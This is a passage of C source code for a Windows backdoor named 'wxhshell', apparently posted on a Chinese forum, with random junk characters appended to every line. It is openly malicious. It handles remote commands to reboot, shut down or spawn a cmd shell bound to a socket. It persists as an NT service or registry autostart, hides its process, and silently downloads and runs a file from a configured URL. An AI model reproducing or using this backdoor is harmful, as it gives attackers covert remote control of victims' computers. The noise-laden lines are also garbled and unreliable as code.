  // 帮助 jH]?vpP  
  case '?': { JO|xX<#:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %`^{Hh`  
    break; sj%\lq  
  } hXP'NS`iv  
  // 安装 M[5fNK&nD  
  case 'i': { E>x,$w<?  
    if(Install()) &v&e- |r8;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "I^pb.3  
    else "I&,':O+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PQ4)kVT  
    break; n~v*  
    } Q`(h  
  // 卸载 jR mo9Bb2  
  case 'r': { FK`M+ j  
    if(Uninstall()) S1d{! ` 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , Y cF~  
    else IM&l%6[).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HmVpxD+  
    break; s7na!A[  
    } oD7^9=#  
  // 显示 wxhshell 所在路径 _[u fH*  
  case 'p': { >$N ?\\#  
    char svExeFile[MAX_PATH]; 2vX!j!_  
    strcpy(svExeFile,"\n\r"); OA8iTn  
      strcat(svExeFile,ExeFile); aX(Y `g)|  
        send(wsh,svExeFile,strlen(svExeFile),0); ,~qjL|9  
    break; _D~FwF&A  
    } 3v:c'R0  
  // 重启 oh^QW`#(  
  case 'b': { 5SwQ9#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y@u,Mv  
    if(Boot(REBOOT)) y>_*}>2,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<eH!MHF  
    else { * odwg$  
    closesocket(wsh); kU[#. y=%p  
    ExitThread(0); ? EXYLG  
    } fs%l j_t  
    break; )w&k&TY4H  
    } Bq#B+JwX  
  // 关机 >r5s>A[YC  
  case 'd': {  B/ACU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E3,Nc`'m9  
    if(Boot(SHUTDOWN)) f|-%.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uUI@!)@2  
    else { PvqG5-L~W  
    closesocket(wsh); X1~ WQ?ww  
    ExitThread(0); k5]`:k6  
    } 5Ak6q(\  
    break; KeE)9e   
    } Y@R9+ 7!  
  // 获取shell ,lr\XhO  
  case 's': { EZg$mp1  
    CmdShell(wsh); b0!ZA/YC-  
    closesocket(wsh); Jx4"~ 4  
    ExitThread(0); ; `-@L  
    break; k<!xOg  
  } -@yu 9=DT  
  // 退出 n>:|K0u"  
  case 'x': { 4]%v%6 4U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); },(Ln%M  
    CloseIt(wsh);  ~xV|<;  
    break; n6s[q- td  
    } =s$UU15  
  // 离开 xO2CgqEb  
  case 'q': { p}O[A`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 23~KzC  
    closesocket(wsh); \S`|7JYW  
    WSACleanup(); 8S*W+l19f  
    exit(1); %:hU:+G E  
    break; v\b@;H`  
        } ,T\)%q  
  } eIY![..J/N  
  } h!h<!xaclW  
:~{x'`czJ  
  // 提示信息 :ZP`Y%dt'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^TCgSi7k`L  
} OXCf  
  } _vgFcE~E@  
W2G@-`,  
  return; B gB]M3Il  
} z;d]=PT  
47 *,  
// shell模块句柄 [Uw/;Kyh  
int CmdShell(SOCKET sock) hj|P*yKV  
{ sJ q^>"|J  
STARTUPINFO si; RbGq$vYol/  
ZeroMemory(&si,sizeof(si)); &['cZ/bM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Ap~Wok  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WyD L ah^/  
PROCESS_INFORMATION ProcessInfo; n%1I}?$fO  
char cmdline[]="cmd"; i%eq!q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `U[s d*C"  
  return 0; ?ta(`+"  
} ej9|Y5D"S  
H|i39XV  
// 自身启动模式 J_ S]jE{  
int StartFromService(void) ?,0 5!]  
{ An0Zg'o!G  
typedef struct qe"t0w|U?  
{ 7 G<v<&  
  DWORD ExitStatus; 3'D<'S}[  
  DWORD PebBaseAddress; "ZU CYYre  
  DWORD AffinityMask; _yJAn\  
  DWORD BasePriority; R#0Z  
  ULONG UniqueProcessId; b9gezXAcd  
  ULONG InheritedFromUniqueProcessId; g(D r/D  
}   PROCESS_BASIC_INFORMATION; ^~Dmb2h  
5$w`m3>i(  
PROCNTQSIP NtQueryInformationProcess; leSR2os  
{D9m>B3"{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~KF>Jow?Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ="*:H)  
Q4vl  
  HANDLE             hProcess; FJl_2  
  PROCESS_BASIC_INFORMATION pbi; }u aRS9d  
H6I]GcZ$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vOKWi:-U  
  if(NULL == hInst ) return 0; Ug1n4X3FKn  
lE@ V>%b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C_~hX G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X|iWnz+^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V<%eWT)x7C  
xOAA1#   
  if (!NtQueryInformationProcess) return 0; ~$\9T.tre2  
Fw!TTH6l0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6*]g~)7`Q~  
  if(!hProcess) return 0; 50l! f7  
,-GkP>8f(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ja@zeD)f"  
wQV[ZfU^h  
  CloseHandle(hProcess); eumpNF%$  
E"l/r4*f@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8r46Wr7Q  
if(hProcess==NULL) return 0; |)pRkn8x  
@ppT;9<d  
HMODULE hMod; ^OWA   
char procName[255]; '!wI8f  
unsigned long cbNeeded; tDk!]  
wVms"U.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g* & |Eq/  
c'8pTP%[  
  CloseHandle(hProcess); c4'k-\JvT  
f1_b``M  
if(strstr(procName,"services")) return 1; // 以服务启动 v.Y?<=E+<d  
 ~;#OQ[  
  return 0; // 注册表启动 RMfKM! vE  
} )=vQrMyB  
'q_^28rK  
// 主模块 (-:lO{@FsC  
int StartWxhshell(LPSTR lpCmdLine) D; bHX  
{ (v'#~)R_`  
  SOCKET wsl; F^/1 u  
BOOL val=TRUE; 25zmde~ w  
  int port=0; P wY~L3,  
  struct sockaddr_in door; E9"P~ nz  
X*^^W_LH.  
  if(wscfg.ws_autoins) Install(); $k|:V&6SV  
&Is}<Ew  
port=atoi(lpCmdLine); &*4C{N  
nbECEQ:|B  
if(port<=0) port=wscfg.ws_port; dpPu&m+  
ZHWxU  
  WSADATA data; PqJB&:ZV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yDil  
d}Y\; '2,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'Cv>V"X: `  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Uf ?._&:  
  door.sin_family = AF_INET; &I|\AG"X}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'wg>=|Q5  
  door.sin_port = htons(port); "^UJC-  
DNGXp5I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qz@k-Jqq d  
closesocket(wsl); #BZ2%\  
return 1; ?E*;fDEC  
} oieJ7\h]m  
3;hztCZj  
  if(listen(wsl,2) == INVALID_SOCKET) { hN5?u:  
closesocket(wsl); +' lj\_n  
return 1; rEF0A&5  
} a^ _ _Z3g,  
  Wxhshell(wsl); :Q=tGj\ G  
  WSACleanup(); \Xr Sn_p-  
I+4#LR3;  
return 0; =G9 9U/  
<U]!1  
} qq,#bRe  
5!b+^UR;z  
// 以NT服务方式启动 $Sx(vq6(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /~O>He  
{ j^V r!y  
DWORD   status = 0; {#_CzI.0f  
  DWORD   specificError = 0xfffffff; ye-EJDZN  
U $2"ZyFii  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DT Cwf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \{8?HjJEM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]+ KN9  
  serviceStatus.dwWin32ExitCode     = 0; L*QX21@wC  
  serviceStatus.dwServiceSpecificExitCode = 0; zarxv| }$  
  serviceStatus.dwCheckPoint       = 0; BWWO=N  
  serviceStatus.dwWaitHint       = 0; >]!8f?,  
&qjc+-r{l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1z6$>{FUR  
  if (hServiceStatusHandle==0) return; I0qS x{K  
0'QX*xfa>  
status = GetLastError(); d5z=fH9  
  if (status!=NO_ERROR) 2&,jO+BqE@  
{ tpY]Mz[J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "?X,);5S  
    serviceStatus.dwCheckPoint       = 0; A5\00O~  
    serviceStatus.dwWaitHint       = 0; X9-WU\?UC  
    serviceStatus.dwWin32ExitCode     = status; nqFJNK]a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ){I0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (^@rr[. o7  
    return; d:X@zUR*)  
  } X"k:+  
u{'|/g&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^xt@  
  serviceStatus.dwCheckPoint       = 0; X7g@.Oy`  
  serviceStatus.dwWaitHint       = 0; AL;z's(F?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #B!HPlrv  
} s;ivoGe}  
&}y?Lt  
// 处理NT服务事件,比如:启动、停止 _ g8CvH)?!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E-`3}"{  
{ p=jpk@RX  
switch(fdwControl) #lY_XV.  
{ VRs|";  
case SERVICE_CONTROL_STOP: x<'<E@jpU;  
  serviceStatus.dwWin32ExitCode = 0; 1 O?bT,"b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QhJuH_f 0  
  serviceStatus.dwCheckPoint   = 0; B4Fuvi  
  serviceStatus.dwWaitHint     = 0; J85S'cwZZ  
  { 0Xw$l3@N^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); */6lyODf  
  } TFAd  
  return;  3cA '9  
case SERVICE_CONTROL_PAUSE: * @=ZzL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x##0s5Qn  
  break; Uk'bOp  
case SERVICE_CONTROL_CONTINUE: 1s_N!a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H,3WdSL`K  
  break; K0usBA  
case SERVICE_CONTROL_INTERROGATE: _m.w5nJ  
  break; x>bGxDtu*  
}; *8I"7'xh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'nT#c[x[0  
} QG=K^g  
jl"su:y  
// 标准应用程序主函数 ! }>CEE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 67g"8R#.V  
{ FX1H2N(  
a_3w/9L4r  
// 获取操作系统版本 (uVL!%61k  
OsIsNt=GetOsVer(); FTQNS8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mz|p=[lR|  
j>`-BN_  
  // 从命令行安装 ~Jh1$O,9o  
  if(strpbrk(lpCmdLine,"iI")) Install(); jcbq#  
F;L8FL-  
  // 下载执行文件 'N3)>!Y:8  
if(wscfg.ws_downexe) { b]b+PK*h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~JS BZ@  
  WinExec(wscfg.ws_filenam,SW_HIDE); o* ~aB_  
} f}t8V% ^E  
< 2SWfH1>  
if(!OsIsNt) { g.*DlD%%  
// 如果时win9x,隐藏进程并且设置为注册表启动 M5kw3Jy5  
HideProc(); CUN1.i<pk8  
StartWxhshell(lpCmdLine); 1N}vz(0"  
} eBWgAf.k  
else 4q"4N2  
  if(StartFromService()) <Ej`zGhWz  
  // 以服务方式启动 {SkE`u4Sz  
  StartServiceCtrlDispatcher(DispatchTable); f#kT?!sP  
else !<3!ORFO  
  // 普通方式启动 0Lf4 ^9N  
  StartWxhshell(lpCmdLine); RKPX*(i~  
pft-.1py  
return 0; t$e'[;w  
}
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只看该作者 1 发表于: 2006-10-10
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